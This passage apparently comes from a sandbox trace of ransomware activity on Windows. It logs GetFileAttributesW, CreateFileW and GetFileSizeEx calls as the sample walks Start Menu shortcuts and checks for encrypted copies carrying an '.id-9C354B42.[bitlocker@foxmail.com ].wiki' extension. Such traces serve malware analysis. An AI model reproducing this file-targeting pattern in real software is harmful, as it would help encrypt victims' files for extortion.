(lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.519] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.520] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1274) returned 1 [0172.520] CloseHandle (hObject=0x1b4) returned 1 [0172.521] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk")) returned 0x20 [0172.521] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.521] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.521] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1268) returned 1 [0172.521] CloseHandle (hObject=0x1b4) returned 1 [0172.521] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk")) returned 0x20 [0172.521] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.521] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.522] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1232) returned 1 [0172.522] CloseHandle (hObject=0x1b4) returned 1 [0172.522] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk")) returned 0x20 [0172.522] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.522] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.522] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1262) returned 1 [0172.523] CloseHandle (hObject=0x1b4) returned 1 [0172.523] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk")) returned 0x20 [0172.523] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.523] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.523] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1248) returned 1 [0172.523] CloseHandle (hObject=0x1b4) returned 1 [0172.523] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk")) returned 0x20 [0172.523] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.523] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.524] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1288) returned 1 [0172.524] CloseHandle (hObject=0x1b4) returned 1 [0172.524] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk")) returned 0x20 [0172.524] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.524] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.525] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1246) returned 1 [0172.525] CloseHandle (hObject=0x1b4) returned 1 [0172.525] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk")) returned 0x20 [0172.525] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.525] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.526] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1262) returned 1 [0172.526] CloseHandle (hObject=0x1b4) returned 1 [0172.526] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk")) returned 0x20 [0172.526] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.526] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.526] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1274) returned 1 [0172.527] CloseHandle (hObject=0x1b4) returned 1 [0172.527] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk")) returned 0x20 [0172.527] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.527] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.528] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2741) returned 1 [0172.528] CloseHandle (hObject=0x1b4) returned 1 [0172.528] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk")) returned 0x20 [0172.528] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.528] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows PowerShell Modules.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows powershell modules.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.529] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2441) returned 1 [0172.529] CloseHandle (hObject=0x1b4) returned 1 [0172.529] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk")) returned 0x20 [0172.529] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.529] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.530] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=258) returned 1 [0172.530] CloseHandle (hObject=0x1b4) returned 1 [0172.530] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk")) returned 0x20 [0172.530] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.530] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.531] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2269) returned 1 [0172.531] CloseHandle (hObject=0x1b4) returned 1 [0172.531] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk")) returned 0x20 [0172.531] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.531] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.532] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1999) returned 1 [0172.532] CloseHandle (hObject=0x1b4) returned 1 [0172.532] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk")) returned 0x20 [0172.532] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.533] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.533] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2017) returned 1 [0172.533] CloseHandle (hObject=0x1b4) returned 1 [0172.533] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk")) returned 0x20 [0172.533] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.533] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.534] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1975) returned 1 [0172.534] CloseHandle (hObject=0x1b4) returned 1 [0172.534] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk")) returned 0x20 [0172.534] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.534] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.534] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1206) returned 1 [0172.534] CloseHandle (hObject=0x1b4) returned 1 [0172.720] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk")) returned 0x20 [0172.720] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.720] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.928] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3042) returned 1 [0172.928] CloseHandle (hObject=0x334) returned 1 [0172.928] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk")) returned 0x20 [0172.928] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.928] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.930] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2977) returned 1 [0172.930] CloseHandle (hObject=0x334) returned 1 [0172.930] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk")) returned 0x20 [0172.931] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.931] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.932] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2917) returned 1 [0172.932] CloseHandle (hObject=0x334) returned 1 [0172.932] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk")) returned 0x20 [0172.932] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.932] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.932] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2751) returned 1 [0172.932] CloseHandle (hObject=0x334) returned 1 [0172.932] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk")) returned 0x20 [0172.933] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.933] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.933] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2837) returned 1 [0172.933] CloseHandle (hObject=0x334) returned 1 [0172.933] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk")) returned 0x20 [0172.933] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.933] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.934] GetFileSizeEx (in: hFile=0x334, 